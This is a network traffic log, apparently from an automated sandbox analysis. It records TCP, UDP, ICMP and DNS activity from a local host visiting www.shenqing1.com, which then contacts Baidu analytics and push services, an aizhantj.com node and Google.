Dec 2, 2024 05:00:43.160706043 CET	50100	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:43.160711050 CET	443	50100	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:43.604541063 CET	443	50100	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:43.607606888 CET	443	50100	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:43.607675076 CET	50100	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:43.607790947 CET	50100	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:43.607800961 CET	443	50100	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:43.607811928 CET	50100	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:43.607815981 CET	443	50100	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:43.611469984 CET	50105	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:43.611502886 CET	443	50105	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:43.611561060 CET	50105	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:43.611926079 CET	50105	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:43.611941099 CET	443	50105	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:43.721551895 CET	443	50101	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:43.722170115 CET	50101	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:43.722193956 CET	443	50101	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:43.722610950 CET	50101	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:43.722615957 CET	443	50101	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:43.933000088 CET	443	50102	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:43.933433056 CET	50102	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:43.933451891 CET	443	50102	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:43.933876038 CET	50102	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:43.933881044 CET	443	50102	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.169455051 CET	443	50101	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.169506073 CET	443	50101	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.169554949 CET	50101	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.169703007 CET	50101	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.169723034 CET	443	50101	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.169735909 CET	50101	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.169740915 CET	443	50101	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.172449112 CET	50106	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.172473907 CET	443	50106	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.172537088 CET	50106	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.172658920 CET	50106	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.172672987 CET	443	50106	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.376660109 CET	443	50102	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.380158901 CET	443	50102	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.380213976 CET	50102	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.380300999 CET	50102	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.380309105 CET	443	50102	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.380327940 CET	50102	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.380331993 CET	443	50102	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.382930040 CET	50107	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.382966995 CET	443	50107	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.383040905 CET	50107	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.383161068 CET	50107	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.383174896 CET	443	50107	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.414937973 CET	443	50103	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.415309906 CET	50103	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.415329933 CET	443	50103	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.415721893 CET	50103	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.415728092 CET	443	50103	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.416697979 CET	443	50104	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.416994095 CET	50104	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.417005062 CET	443	50104	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.417386055 CET	50104	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.417391062 CET	443	50104	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.859004021 CET	443	50103	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.860220909 CET	443	50104	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.862181902 CET	443	50103	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.862236977 CET	50103	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.862263918 CET	50103	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.862277031 CET	443	50103	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.862287045 CET	50103	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.862291098 CET	443	50103	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.863569975 CET	443	50104	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.863621950 CET	443	50104	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.863646030 CET	50104	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.863682985 CET	50104	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.863722086 CET	50104	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.863729954 CET	443	50104	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.863740921 CET	50104	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.863744974 CET	443	50104	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.865381002 CET	50108	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.865400076 CET	443	50108	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:44.865469933 CET	50108	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.865592957 CET	50108	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:44.865600109 CET	443	50108	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:45.478688002 CET	443	50105	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:45.482220888 CET	50105	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:45.482251883 CET	443	50105	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:45.482722044 CET	50105	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:45.482728004 CET	443	50105	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:45.888521910 CET	443	50106	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:45.889121056 CET	50106	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:45.889139891 CET	443	50106	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:45.889569044 CET	50106	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:45.889575005 CET	443	50106	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:45.932694912 CET	443	50105	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:45.936896086 CET	443	50105	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:45.936992884 CET	50105	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:45.937017918 CET	50105	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:45.937033892 CET	443	50105	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:45.937043905 CET	50105	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:45.937051058 CET	443	50105	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:46.229581118 CET	443	50107	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:46.230086088 CET	50107	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:46.230107069 CET	443	50107	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:46.230535030 CET	50107	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:46.230540037 CET	443	50107	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:46.324301958 CET	443	50106	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:46.327431917 CET	443	50106	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:46.327497959 CET	50106	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:46.327728033 CET	50106	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:46.327728033 CET	50106	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:46.327738047 CET	443	50106	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:46.327744961 CET	443	50106	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:46.682873964 CET	443	50107	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:46.686100960 CET	443	50107	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:46.686170101 CET	50107	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:46.686202049 CET	50107	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:46.686216116 CET	443	50107	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:46.686224937 CET	50107	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:46.686229944 CET	443	50107	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:46.716717005 CET	443	50108	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:46.717215061 CET	50108	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:46.717226982 CET	443	50108	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:46.717628002 CET	50108	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:46.717632055 CET	443	50108	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:47.179461956 CET	443	50108	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:47.179508924 CET	443	50108	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:47.179555893 CET	50108	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:47.179758072 CET	50108	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:47.179769993 CET	443	50108	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:47.179781914 CET	50108	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:47.179786921 CET	443	50108	13.107.246.63	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2024 04:57:54.859060049 CET	65051	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:54.859258890 CET	53770	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:54.998837948 CET	53	62731	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:55.045788050 CET	53	49349	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:55.586889029 CET	53	53770	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:55.587233067 CET	53	65051	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:55.587414980 CET	50183	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:55.725799084 CET	53	50183	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:57.384916067 CET	53909	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:57.385086060 CET	65101	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:57.406277895 CET	62124	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:57.406721115 CET	49610	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:57.407390118 CET	52461	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:57.407572985 CET	49353	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:57.408085108 CET	54446	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:57.408276081 CET	56675	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:57.523085117 CET	53	53909	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:57.523298979 CET	53	65101	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:57.523761034 CET	60147	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:57.660979986 CET	53	60147	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:57.751241922 CET	53	59070	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:57.811959028 CET	53	49610	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:57.840256929 CET	53	62124	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:58.257419109 CET	53	49353	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:58.411694050 CET	53	52461	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:58.436101913 CET	62468	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:58.436418056 CET	49863	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:58.602354050 CET	53	56675	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:58.607235909 CET	53	54446	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:58.607338905 CET	53	62468	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:59.153523922 CET	52274	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:59.153744936 CET	60561	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:57:59.290999889 CET	53	52274	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:59.291348934 CET	53	60561	1.1.1.1	192.168.2.4
Dec 2, 2024 04:57:59.394500971 CET	53	49863	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:00.457202911 CET	50305	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:58:00.457381964 CET	54633	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:58:00.458142996 CET	51273	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:58:00.458441019 CET	58350	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:58:00.595943928 CET	53	51273	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:00.596563101 CET	53	58350	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:00.697678089 CET	50722	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:58:00.697942972 CET	53641	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:58:00.834824085 CET	53	50722	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:00.835747957 CET	53	53641	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:01.479800940 CET	61077	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:58:01.479800940 CET	55580	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:58:01.514797926 CET	56120	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:58:01.514797926 CET	63472	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:58:01.655162096 CET	53	56120	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:01.655194998 CET	53	63472	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:01.723661900 CET	53	54633	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:01.723671913 CET	53	55580	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:01.726334095 CET	53	50305	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:01.726490021 CET	53	61077	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:03.360207081 CET	51533	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:58:03.360372066 CET	52008	53	192.168.2.4	1.1.1.1
Dec 2, 2024 04:58:03.498444080 CET	53	51533	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:03.499015093 CET	53	52008	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:06.785268068 CET	138	138	192.168.2.4	192.168.2.255
Dec 2, 2024 04:58:14.713315964 CET	53	52799	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:34.307403088 CET	53	61841	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:54.529485941 CET	53	65432	1.1.1.1	192.168.2.4
Dec 2, 2024 04:58:57.713021994 CET	53	52903	1.1.1.1	192.168.2.4
Dec 2, 2024 04:59:24.198246956 CET	53	62318	1.1.1.1	192.168.2.4
Dec 2, 2024 05:00:09.291646957 CET	53	63444	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 2, 2024 04:57:55.725909948 CET	192.168.2.4	1.1.1.1	c1e7	(Port unreachable)	Destination Unreachable
Dec 2, 2024 04:57:57.661061049 CET	192.168.2.4	1.1.1.1	c1e7	(Port unreachable)	Destination Unreachable
Dec 2, 2024 04:57:59.394573927 CET	192.168.2.4	1.1.1.1	c260	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 2, 2024 04:57:54.859060049 CET	192.168.2.4	1.1.1.1	0xd9aa	Standard query (0)	www.shenqing1.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:54.859258890 CET	192.168.2.4	1.1.1.1	0x84e7	Standard query (0)	www.shenqing1.com	65	IN (0x0001)	false
Dec 2, 2024 04:57:55.587414980 CET	192.168.2.4	1.1.1.1	0x5cf1	Standard query (0)	www.shenqing1.com	65	IN (0x0001)	false
Dec 2, 2024 04:57:57.384916067 CET	192.168.2.4	1.1.1.1	0x86ff	Standard query (0)	www.shenqing1.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:57.385086060 CET	192.168.2.4	1.1.1.1	0xcacd	Standard query (0)	www.shenqing1.com	65	IN (0x0001)	false
Dec 2, 2024 04:57:57.406277895 CET	192.168.2.4	1.1.1.1	0x72f5	Standard query (0)	hm.baidu.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:57.406721115 CET	192.168.2.4	1.1.1.1	0x70b8	Standard query (0)	hm.baidu.com	65	IN (0x0001)	false
Dec 2, 2024 04:57:57.407390118 CET	192.168.2.4	1.1.1.1	0x39a2	Standard query (0)	node22.aizhantj.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:57.407572985 CET	192.168.2.4	1.1.1.1	0xb657	Standard query (0)	_21233._https.node22.aizhantj.com	65	IN (0x0001)	false
Dec 2, 2024 04:57:57.408085108 CET	192.168.2.4	1.1.1.1	0xe8da	Standard query (0)	push.zhanzhang.baidu.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:57.408276081 CET	192.168.2.4	1.1.1.1	0x6ae6	Standard query (0)	push.zhanzhang.baidu.com	65	IN (0x0001)	false
Dec 2, 2024 04:57:57.523761034 CET	192.168.2.4	1.1.1.1	0xa2c1	Standard query (0)	www.shenqing1.com	65	IN (0x0001)	false
Dec 2, 2024 04:57:58.436101913 CET	192.168.2.4	1.1.1.1	0x29f5	Standard query (0)	push.zhanzhang.baidu.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.436418056 CET	192.168.2.4	1.1.1.1	0x2836	Standard query (0)	push.zhanzhang.baidu.com	65	IN (0x0001)	false
Dec 2, 2024 04:57:59.153523922 CET	192.168.2.4	1.1.1.1	0xc23f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:59.153744936 CET	192.168.2.4	1.1.1.1	0xa23a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 2, 2024 04:58:00.457202911 CET	192.168.2.4	1.1.1.1	0x644a	Standard query (0)	api.share.baidu.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.457381964 CET	192.168.2.4	1.1.1.1	0x83f9	Standard query (0)	api.share.baidu.com	65	IN (0x0001)	false
Dec 2, 2024 04:58:00.458142996 CET	192.168.2.4	1.1.1.1	0xdc07	Standard query (0)	push.zhanzhang.baidu.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.458441019 CET	192.168.2.4	1.1.1.1	0xa11e	Standard query (0)	push.zhanzhang.baidu.com	65	IN (0x0001)	false
Dec 2, 2024 04:58:00.697678089 CET	192.168.2.4	1.1.1.1	0x58e0	Standard query (0)	hm.baidu.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:00.697942972 CET	192.168.2.4	1.1.1.1	0x3345	Standard query (0)	hm.baidu.com	65	IN (0x0001)	false
Dec 2, 2024 04:58:01.479800940 CET	192.168.2.4	1.1.1.1	0x364a	Standard query (0)	api.share.baidu.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.479800940 CET	192.168.2.4	1.1.1.1	0xbebd	Standard query (0)	api.share.baidu.com	65	IN (0x0001)	false
Dec 2, 2024 04:58:01.514797926 CET	192.168.2.4	1.1.1.1	0x50f8	Standard query (0)	node22.aizhantj.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:01.514797926 CET	192.168.2.4	1.1.1.1	0xd9e2	Standard query (0)	_21233._https.node22.aizhantj.com	65	IN (0x0001)	false
Dec 2, 2024 04:58:03.360207081 CET	192.168.2.4	1.1.1.1	0x6bf0	Standard query (0)	api.share.baidu.com	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:58:03.360372066 CET	192.168.2.4	1.1.1.1	0xe7a8	Standard query (0)	api.share.baidu.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 2, 2024 04:57:55.586889029 CET	1.1.1.1	192.168.2.4	0x84e7	Server failure (2)	www.shenqing1.com	none	none	65	IN (0x0001)	false
Dec 2, 2024 04:57:55.587233067 CET	1.1.1.1	192.168.2.4	0xd9aa	No error (0)	www.shenqing1.com		38.31.228.123	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:55.725799084 CET	1.1.1.1	192.168.2.4	0x5cf1	Server failure (2)	www.shenqing1.com	none	none	65	IN (0x0001)	false
Dec 2, 2024 04:57:57.523085117 CET	1.1.1.1	192.168.2.4	0x86ff	No error (0)	www.shenqing1.com		38.31.228.123	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:57.523298979 CET	1.1.1.1	192.168.2.4	0xcacd	Server failure (2)	www.shenqing1.com	none	none	65	IN (0x0001)	false
Dec 2, 2024 04:57:57.660979986 CET	1.1.1.1	192.168.2.4	0xa2c1	Server failure (2)	www.shenqing1.com	none	none	65	IN (0x0001)	false
Dec 2, 2024 04:57:57.811959028 CET	1.1.1.1	192.168.2.4	0x70b8	No error (0)	hm.baidu.com	hm.e.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:57:57.840256929 CET	1.1.1.1	192.168.2.4	0x72f5	No error (0)	hm.baidu.com	hm.e.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:57:57.840256929 CET	1.1.1.1	192.168.2.4	0x72f5	No error (0)	hm.e.shifen.com		111.45.11.83	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:57.840256929 CET	1.1.1.1	192.168.2.4	0x72f5	No error (0)	hm.e.shifen.com		183.240.98.228	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:57.840256929 CET	1.1.1.1	192.168.2.4	0x72f5	No error (0)	hm.e.shifen.com		14.215.182.140	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:57.840256929 CET	1.1.1.1	192.168.2.4	0x72f5	No error (0)	hm.e.shifen.com		14.215.183.79	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:57.840256929 CET	1.1.1.1	192.168.2.4	0x72f5	No error (0)	hm.e.shifen.com		111.45.3.198	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.257419109 CET	1.1.1.1	192.168.2.4	0xb657	Name error (3)	_21233._https.node22.aizhantj.com	none	none	65	IN (0x0001)	false
Dec 2, 2024 04:57:58.411694050 CET	1.1.1.1	192.168.2.4	0x39a2	No error (0)	node22.aizhantj.com	node22.aizhantj.com.wswebpic.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:57:58.411694050 CET	1.1.1.1	192.168.2.4	0x39a2	No error (0)	node22.aizhantj.com.wswebpic.com		163.171.142.154	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.411694050 CET	1.1.1.1	192.168.2.4	0x39a2	No error (0)	node22.aizhantj.com.wswebpic.com		174.35.118.63	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.602354050 CET	1.1.1.1	192.168.2.4	0x6ae6	No error (0)	push.zhanzhang.baidu.com	share.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:57:58.602354050 CET	1.1.1.1	192.168.2.4	0x6ae6	No error (0)	share.jomodns.com	share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607235909 CET	1.1.1.1	192.168.2.4	0xe8da	No error (0)	push.zhanzhang.baidu.com	share.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607235909 CET	1.1.1.1	192.168.2.4	0xe8da	No error (0)	share.jomodns.com	share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607235909 CET	1.1.1.1	192.168.2.4	0xe8da	No error (0)	share.n.shifen.com		112.34.113.148	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607235909 CET	1.1.1.1	192.168.2.4	0xe8da	No error (0)	share.n.shifen.com		163.177.17.97	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607235909 CET	1.1.1.1	192.168.2.4	0xe8da	No error (0)	share.n.shifen.com		180.101.212.103	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607235909 CET	1.1.1.1	192.168.2.4	0xe8da	No error (0)	share.n.shifen.com		182.61.201.93	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607235909 CET	1.1.1.1	192.168.2.4	0xe8da	No error (0)	share.n.shifen.com		182.61.201.94	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607235909 CET	1.1.1.1	192.168.2.4	0xe8da	No error (0)	share.n.shifen.com		182.61.244.229	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607235909 CET	1.1.1.1	192.168.2.4	0xe8da	No error (0)	share.n.shifen.com		14.215.182.161	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607235909 CET	1.1.1.1	192.168.2.4	0xe8da	No error (0)	share.n.shifen.com		39.156.68.163	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607338905 CET	1.1.1.1	192.168.2.4	0x29f5	No error (0)	push.zhanzhang.baidu.com	share.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607338905 CET	1.1.1.1	192.168.2.4	0x29f5	No error (0)	share.jomodns.com	share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607338905 CET	1.1.1.1	192.168.2.4	0x29f5	No error (0)	share.n.shifen.com		112.34.113.148	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607338905 CET	1.1.1.1	192.168.2.4	0x29f5	No error (0)	share.n.shifen.com		163.177.17.97	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607338905 CET	1.1.1.1	192.168.2.4	0x29f5	No error (0)	share.n.shifen.com		180.101.212.103	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607338905 CET	1.1.1.1	192.168.2.4	0x29f5	No error (0)	share.n.shifen.com		182.61.201.93	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607338905 CET	1.1.1.1	192.168.2.4	0x29f5	No error (0)	share.n.shifen.com		182.61.201.94	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607338905 CET	1.1.1.1	192.168.2.4	0x29f5	No error (0)	share.n.shifen.com		182.61.244.229	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607338905 CET	1.1.1.1	192.168.2.4	0x29f5	No error (0)	share.n.shifen.com		14.215.182.161	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:58.607338905 CET	1.1.1.1	192.168.2.4	0x29f5	No error (0)	share.n.shifen.com		39.156.68.163	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:59.290999889 CET	1.1.1.1	192.168.2.4	0xc23f	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 2, 2024 04:57:59.291348934 CET	1.1.1.1	192.168.2.4	0xa23a	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 2, 2024 04:57:59.394500971 CET	1.1.1.1	192.168.2.4	0x2836	No error (0)	push.zhanzhang.baidu.com	share.jomodns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2024 04:57:59.394500971 CET	1.1.1.1	192.168.2.4	0x2836	No error (0)	share.jomodns.com	share.n.shifen.com		CNAME (Canonical name)	IN (0x0001)	false
